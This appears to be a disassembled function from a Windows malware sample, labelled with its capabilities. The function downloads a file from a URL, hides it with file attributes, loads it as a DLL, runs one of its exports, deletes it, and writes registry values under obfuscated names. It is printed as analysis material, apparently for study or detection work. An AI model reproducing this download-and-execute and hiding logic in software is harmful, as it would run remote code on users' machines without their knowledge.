Function at 0x40a900
Capabilities:
Delete file
Set file attributes
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e300
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov ebx, ecx
mov dword [ebp - 0x10], esp
test esi, esi
mov dword [ebp - 0x18], ebx
je 0x40aaa1
mov eax, dword [ebx + 0x280]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x40aaa1
push 0
push 0
push 0
push 0
push 1
push 0
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0
call fcn.0040ca3c
push 0
push 0
push 2
push 1
push esi
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CInternetSession::OpenURL
mov edi, eax
test edi, edi
je 0x40aa6e
push str..imxc.
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
lea ecx, [ebp - 0x14]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebx + 0x280]
push 0x20
push 0x415bac
push 0x415ba8
push ecx
lea edx, [ebp - 0x14]
push str................
push edx
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::Format
mov eax, dword [ebp - 0x14]
add esp, 0x18
push 0x415b94
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x40aa58
mov edx, dword [edi]
lea eax, [ebp - 0x138]
push 0x100
push eax
mov ecx, edi
call dword [edx + 0x3c]
test eax, eax
push esi
jle 0x40aa0c
push eax
lea ecx, [ebp - 0x138]
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
jmp 0x40a9df
call dword [sym.imp.MSVCRT.dll_fclose]
mov edx, dword [ebp - 0x14]
add esp, 4
push 6
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40aa58
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40aa4e
push 2
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40aa47
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 0x54]
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0040c286
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0
call fcn.0040ca42
jmp 0x40aa90
push esi
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
lea eax, [ebp - 0x18]
push str.ZfohlUD_jfzfoU_gmfzUJlg_lz_fgULqyeflUHm
push eax
mov ecx, ebx
xor edi, edi
call fcn.0040a240
mov eax, dword [eax]
lea ecx, [ebp - 0x1c]
push ecx
push 0x20006
push edi
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x18]
mov esi, eax
call fcn.0040c286
test esi, esi
jne 0x40ab7e
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40ab7e
push esi
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
lea edx, [ebp - 0x18]
sub eax, 0x4031b740
mov ecx, ebx
push str.Dfmlg__lZhlYlz_zlg
push edx
mov dword [ebp + 8], eax
call fcn.0040a240
mov edx, dword [eax]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp + 8]
push 4
push ecx
push 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edx
push eax
call esi
lea ecx, [ebp - 0x18]
call fcn.0040c286
lea ecx, [ebp - 0x20]
push str.Dfmlg__lZhlYlz_z
push ecx
mov ecx, ebx
call fcn.0040a240
mov eax, dword [eax]
lea edx, [ebp + 8]
push 4
push edx
push 4
push edi
push eax
mov eax, dword [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x20]
mov esi, eax
call fcn.0040c286
mov edx, dword [ebp - 0x1c]
xor ecx, ecx
test esi, esi
sete cl
push edx
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4